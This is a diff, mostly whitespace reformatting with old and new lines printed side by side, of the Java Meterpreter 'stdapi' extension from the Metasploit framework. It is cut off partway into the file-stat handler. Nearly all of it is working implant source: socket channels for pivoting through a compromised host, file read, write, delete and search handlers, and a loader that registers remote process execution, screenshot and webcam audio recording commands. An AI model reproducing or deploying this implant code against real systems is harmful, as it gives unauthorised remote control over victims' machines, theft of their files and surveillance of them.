packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress()); packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress());
packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort()); packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort());
packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress()); packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress());
packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort()); packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort());
getMeterpreter().writeRequestPacket("tcp_channel_open", packet); getMeterpreter().writeRequestPacket("tcp_channel_open", packet);
ch.startInteract(); ch.startInteract();
} }
} catch (SocketException t) { } catch (SocketException t) {
if (closed) if (closed)
return; return;
t.printStackTrace(getMeterpreter().getErrorStream()); t.printStackTrace(getMeterpreter().getErrorStream());
} catch (Throwable t) { } catch (Throwable t) {
t.printStackTrace(getMeterpreter().getErrorStream()); t.printStackTrace(getMeterpreter().getErrorStream());
} }
} }
} }
} }

@ -5,35 +5,33 @@ import java.net.Socket;
/** /**
* A channel for a {@link Socket}. * A channel for a {@link Socket}.
* *
* @author mihi * @author mihi
*/ */
public class SocketChannel extends Channel { public class SocketChannel extends Channel {
private final Socket socket; private final Socket socket;
/** /**
* Create a new socket channel. * Create a new socket channel.
* *
* @param meterpreter * @param meterpreter The meterpreter this channel should be assigned to.
* The meterpreter this channel should be assigned to. * @param socket Socket of the channel
* @param socket */
* Socket of the channel public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
*/ super(meterpreter, socket.getInputStream(), socket.getOutputStream());
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException { this.socket = socket;
super(meterpreter, socket.getInputStream(), socket.getOutputStream()); }
this.socket = socket;
}
public void close() throws IOException { public void close() throws IOException {
socket.close(); socket.close();
super.close(); super.close();
} }
/** /**
* Get the socket. * Get the socket.
*/ */
public Socket getSocket() { public Socket getSocket() {
return socket; return socket;
} }
} }

@ -10,17 +10,17 @@ import com.metasploit.meterpreter.command.Command;
public abstract class HashCommand implements Command { public abstract class HashCommand implements Command {
protected abstract String getAlgorithm(); protected abstract String getAlgorithm();
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH))); FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
MessageDigest md = MessageDigest.getInstance(getAlgorithm()); MessageDigest md = MessageDigest.getInstance(getAlgorithm());
byte[] buf = new byte[4096]; byte[] buf = new byte[4096];
int len; int len;
while ((len = in.read(buf)) != -1) { while ((len = in.read(buf)) != -1) {
md.update(buf, 0, len); md.update(buf, 0, len);
} }
response.add(TLVType.TLV_TYPE_FILE_HASH, md.digest()); response.add(TLVType.TLV_TYPE_FILE_HASH, md.digest());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -7,47 +7,47 @@ import com.metasploit.meterpreter.ExtensionLoader;
/** /**
* Loader class to register all the stdapi commands. * Loader class to register all the stdapi commands.
* *
* @author mihi * @author mihi
*/ */
public class Loader implements ExtensionLoader { public class Loader implements ExtensionLoader {
public static File cwd; public static File cwd;
public static File expand(String path) {
File result = new File(path);
if (!result.isAbsolute())
result = new File(cwd, path);
return result;
}
public void load(CommandManager mgr) throws Exception { public static File expand(String path) {
cwd = new File(".").getCanonicalFile(); File result = new File(path);
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class); if (!result.isAbsolute())
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class); result = new File(cwd, path);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class); return result;
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class); }
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class); public void load(CommandManager mgr) throws Exception {
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class); cwd = new File(".").getCanonicalFile();
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class); mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class); mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class); mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class); mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class); mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class); mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6); mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class); mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6); mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4); mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3); mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class); mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_sys_config_getenv", stdapi_sys_config_getenv.class); mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class); mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3); mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
} mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_getenv", stdapi_sys_config_getenv.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
}
} }

@ -13,28 +13,28 @@ import com.metasploit.meterpreter.command.NotYetImplementedCommand;
public class channel_create_stdapi_fs_file implements Command { public class channel_create_stdapi_fs_file implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH); String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb"); String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb");
Channel channel; Channel channel;
if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) { if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) {
channel = null; channel = null;
if (fpath.equals("...")) { if (fpath.equals("...")) {
byte[] data = meterpreter.getErrorBuffer(); byte[] data = meterpreter.getErrorBuffer();
if (data != null) if (data != null)
channel = new Channel(meterpreter, new ByteArrayInputStream(data), null); channel = new Channel(meterpreter, new ByteArrayInputStream(data), null);
} }
if (channel == null) if (channel == null)
channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null); channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null);
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) { } else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false)); channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false));
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) { } else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true)); channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true));
} else { } else {
NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response); NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
throw new IllegalArgumentException("Unsupported file mode: " + mode); throw new IllegalArgumentException("Unsupported file mode: " + mode);
} }
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID()); response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -13,31 +13,31 @@ import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_tcp_client implements Command { public class channel_create_stdapi_net_tcp_client implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST); String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT); int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST); String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT); int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue(); int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue();
if (retries < 1) if (retries < 1)
retries = 1; retries = 1;
InetAddress peerAddr = InetAddress.getByName(peerHost); InetAddress peerAddr = InetAddress.getByName(peerHost);
InetAddress localAddr = InetAddress.getByName(localHost); InetAddress localAddr = InetAddress.getByName(localHost);
Socket socket = null; Socket socket = null;
for (int i = 0; i < retries; i++) { for (int i = 0; i < retries; i++) {
try { try {
socket = new Socket(peerAddr, peerPort, localAddr, localPort); socket = new Socket(peerAddr, peerPort, localAddr, localPort);
break; break;
} catch (ConnectException ex) { } catch (ConnectException ex) {
if (i == retries - 1) if (i == retries - 1)
throw ex; throw ex;
} }
} }
// If we got here, the connection worked, respond with the new channel ID // If we got here, the connection worked, respond with the new channel ID
Channel channel = new SocketChannel(meterpreter, socket); Channel channel = new SocketChannel(meterpreter, socket);
channel.startInteract(); channel.startInteract();
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID()); response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -12,16 +12,16 @@ import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_tcp_server implements Command { public class channel_create_stdapi_net_tcp_server implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST); String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT); int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
ServerSocket ss; ServerSocket ss;
if (localHost.equals("0.0.0.0")) if (localHost.equals("0.0.0.0"))
ss = new ServerSocket(localPort); ss = new ServerSocket(localPort);
else else
ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost)); ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost));
Channel channel = new ServerSocketChannel(meterpreter, ss); Channel channel = new ServerSocketChannel(meterpreter, ss);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID()); response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -12,20 +12,20 @@ import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_udp_client implements Command { public class channel_create_stdapi_net_udp_client implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost)); String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
if (peerPort != 0) { int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
ds.connect(InetAddress.getByName(peerHost), peerPort); String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
} int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
Channel channel = new DatagramSocketChannel(meterpreter,ds);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID()); DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost));
return ERROR_SUCCESS; if (peerPort != 0) {
} ds.connect(InetAddress.getByName(peerHost), peerPort);
}
Channel channel = new DatagramSocketChannel(meterpreter, ds);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
} }

@ -10,13 +10,13 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_chdir implements Command { public class stdapi_fs_chdir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File f = Loader.expand(path); File f = Loader.expand(path);
if (!f.exists() || !f.isDirectory()) { if (!f.exists() || !f.isDirectory()) {
throw new IOException("Path not found: " + path); throw new IOException("Path not found: " + path);
} }
Loader.cwd = f.getCanonicalFile(); Loader.cwd = f.getCanonicalFile();
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -10,15 +10,15 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_delete_dir implements Command { public class stdapi_fs_delete_dir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File file = Loader.expand(path); File file = Loader.expand(path);
if (!file.exists() || !file.isDirectory()) { if (!file.exists() || !file.isDirectory()) {
throw new IOException("Directory not found: " + path); throw new IOException("Directory not found: " + path);
} }
if (!file.delete()) { if (!file.delete()) {
throw new IOException("Cannot delete directory " + file.getCanonicalPath()); throw new IOException("Cannot delete directory " + file.getCanonicalPath());
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -10,15 +10,15 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_delete_file implements Command { public class stdapi_fs_delete_file implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
File file = Loader.expand(path); File file = Loader.expand(path);
if (!file.exists() || !file.isFile()) { if (!file.exists() || !file.isFile()) {
throw new IOException("File not found: " + path); throw new IOException("File not found: " + path);
} }
if (!file.delete()) { if (!file.delete()) {
throw new IOException("Cannot delete " + file.getCanonicalPath()); throw new IOException("Cannot delete " + file.getCanonicalPath());
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -10,20 +10,20 @@ import com.metasploit.meterpreter.command.NotYetImplementedCommand;
public class stdapi_fs_file_expand_path implements Command { public class stdapi_fs_file_expand_path implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
if (path.equals("%COMSPEC%")) { if (path.equals("%COMSPEC%")) {
response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath()); response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} else { } else {
return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response); return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
} }
} }
protected String getShellPath() { protected String getShellPath() {
if (File.pathSeparatorChar == ';') if (File.pathSeparatorChar == ';')
return "cmd.exe"; return "cmd.exe";
else else
return "/bin/sh"; return "/bin/sh";
} }
} }

@ -4,14 +4,14 @@ import java.io.File;
public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path { public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path {
protected String getShellPath() { protected String getShellPath() {
String result; String result;
if (File.pathSeparatorChar == ';') if (File.pathSeparatorChar == ';')
result = System.getenv("COMSPEC"); result = System.getenv("COMSPEC");
else else
result = System.getenv("SHELL"); result = System.getenv("SHELL");
if (result == null || result.length() == 0) if (result == null || result.length() == 0)
result = super.getShellPath(); result = super.getShellPath();
return result; return result;
} }
} }

@ -7,8 +7,8 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_getwd implements Command { public class stdapi_fs_getwd implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath()); response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -8,18 +8,18 @@ import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_ls implements Command { public class stdapi_fs_ls implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat"); stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat");
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
String[] entries = new File(path).list(); String[] entries = new File(path).list();
for (int i = 0; i < entries.length; i++) { for (int i = 0; i < entries.length; i++) {
if (entries[i].equals(".") || entries[i].equals("..")) if (entries[i].equals(".") || entries[i].equals(".."))
continue; continue;
File f = new File(path, entries[i]); File f = new File(path, entries[i]);
response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]); response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]);
response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath()); response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath());
response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f)); response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f));
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -1,7 +1,7 @@
package com.metasploit.meterpreter.stdapi; package com.metasploit.meterpreter.stdapi;
public class stdapi_fs_md5 extends HashCommand { public class stdapi_fs_md5 extends HashCommand {
protected String getAlgorithm() { protected String getAlgorithm() {
return "MD5"; return "MD5";
} }
} }

@ -10,15 +10,15 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_mkdir implements Command { public class stdapi_fs_mkdir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File file = Loader.expand(path); File file = Loader.expand(path);
if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) { if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) {
throw new IOException("Parent directory not found: " + path); throw new IOException("Parent directory not found: " + path);
} }
if (!file.mkdirs()) { if (!file.mkdirs()) {
throw new IOException("Cannot create directory " + file.getCanonicalPath()); throw new IOException("Cannot create directory " + file.getCanonicalPath());
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -13,91 +13,91 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_search implements Command { public class stdapi_fs_search implements Command {
private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204; private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204;
private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230; private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230;
private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231; private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231;
private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232; private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232;
private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233; private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233;
/** /**
* Simple glob implementation. * Simple glob implementation.
*/ */
private static boolean matches(String text, String glob) { private static boolean matches(String text, String glob) {
String rest = null; String rest = null;
int pos = glob.indexOf('*'); int pos = glob.indexOf('*');
if (pos != -1) { if (pos != -1) {
rest = glob.substring(pos + 1); rest = glob.substring(pos + 1);
glob = glob.substring(0, pos); glob = glob.substring(0, pos);
} }
if (glob.length() > text.length()) if (glob.length() > text.length())
return false; return false;
// handle the part up to the first * // handle the part up to the first *
for (int i = 0; i < glob.length(); i++) for (int i = 0; i < glob.length(); i++)
if (glob.charAt(i) != '?' if (glob.charAt(i) != '?'
&& !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1))) && !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1)))
return false; return false;
// recurse for the part after the first *, if any // recurse for the part after the first *, if any
if (rest == null) { if (rest == null) {
return glob.length() == text.length(); return glob.length() == text.length();
} else { } else {
for (int i = glob.length(); i <= text.length(); i++) { for (int i = glob.length(); i <= text.length(); i++) {
if (matches(text.substring(i), rest)) if (matches(text.substring(i), rest))
return true; return true;
} }
return false; return false;
} }
} }
private List findFiles(String path, String mask, boolean recurse) { private List findFiles(String path, String mask, boolean recurse) {
try { try {
File pathfile = Loader.expand(path); File pathfile = Loader.expand(path);
if (!pathfile.exists() || !pathfile.isDirectory()) { if (!pathfile.exists() || !pathfile.isDirectory()) {
pathfile = new File(path); pathfile = new File(path);
if (!pathfile.exists() || !pathfile.isDirectory()) { if (!pathfile.exists() || !pathfile.isDirectory()) {
throw new IOException("Path not found: " + path); throw new IOException("Path not found: " + path);
} }
} }
path = pathfile.getCanonicalPath(); path = pathfile.getCanonicalPath();
File[] lst = new File(path).listFiles(); File[] lst = new File(path).listFiles();
List glob = new ArrayList(); List glob = new ArrayList();
if (lst == null) if (lst == null)
return glob; return glob;
for (int i = 0; i < lst.length; i++) { for (int i = 0; i < lst.length; i++) {
File file = lst[i]; File file = lst[i];
if (recurse && file.isDirectory() if (recurse && file.isDirectory()
// don't follow links to avoid infinite recursion // don't follow links to avoid infinite recursion
&& file.getCanonicalPath().equals(file.getAbsolutePath())) { && file.getCanonicalPath().equals(file.getAbsolutePath())) {
glob.addAll(findFiles(file.getAbsolutePath(), mask, true)); glob.addAll(findFiles(file.getAbsolutePath(), mask, true));
} }
// Match file mask // Match file mask
if (matches(file.getName(), mask)) { if (matches(file.getName(), mask)) {
glob.add(path + "/" + file.getName()); glob.add(path + "/" + file.getName());
} }
} }
Collections.sort(glob); Collections.sort(glob);
return glob; return glob;
} catch (IOException ex) { } catch (IOException ex) {
return Collections.EMPTY_LIST; return Collections.EMPTY_LIST;
} }
} }
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, "."); String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, ".");
String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB); String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB);
boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE); boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE);
List files = findFiles(root, glob, recurse); List files = findFiles(root, glob, recurse);
for (int i = 0; i < files.size(); i++) { for (int i = 0; i < files.size(); i++) {
File f = new File((String) files.get(i)); File f = new File((String) files.get(i));
TLVPacket file_tlvs = new TLVPacket(); TLVPacket file_tlvs = new TLVPacket();
file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath()); file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath());
file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName()); file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName());
file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length()); file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length());
response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs); response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs);
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -9,9 +9,9 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_separator implements Command { public class stdapi_fs_separator implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_STRING, File.separator); response.add(TLVType.TLV_TYPE_STRING, File.separator);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -1,7 +1,7 @@
package com.metasploit.meterpreter.stdapi; package com.metasploit.meterpreter.stdapi;
public class stdapi_fs_sha1 extends HashCommand { public class stdapi_fs_sha1 extends HashCommand {
protected String getAlgorithm() { protected String getAlgorithm() {
return "SHA-1"; return "SHA-1";
} }
} }

@ -12,79 +12,78 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_stat implements Command { public class stdapi_fs_stat implements Command {
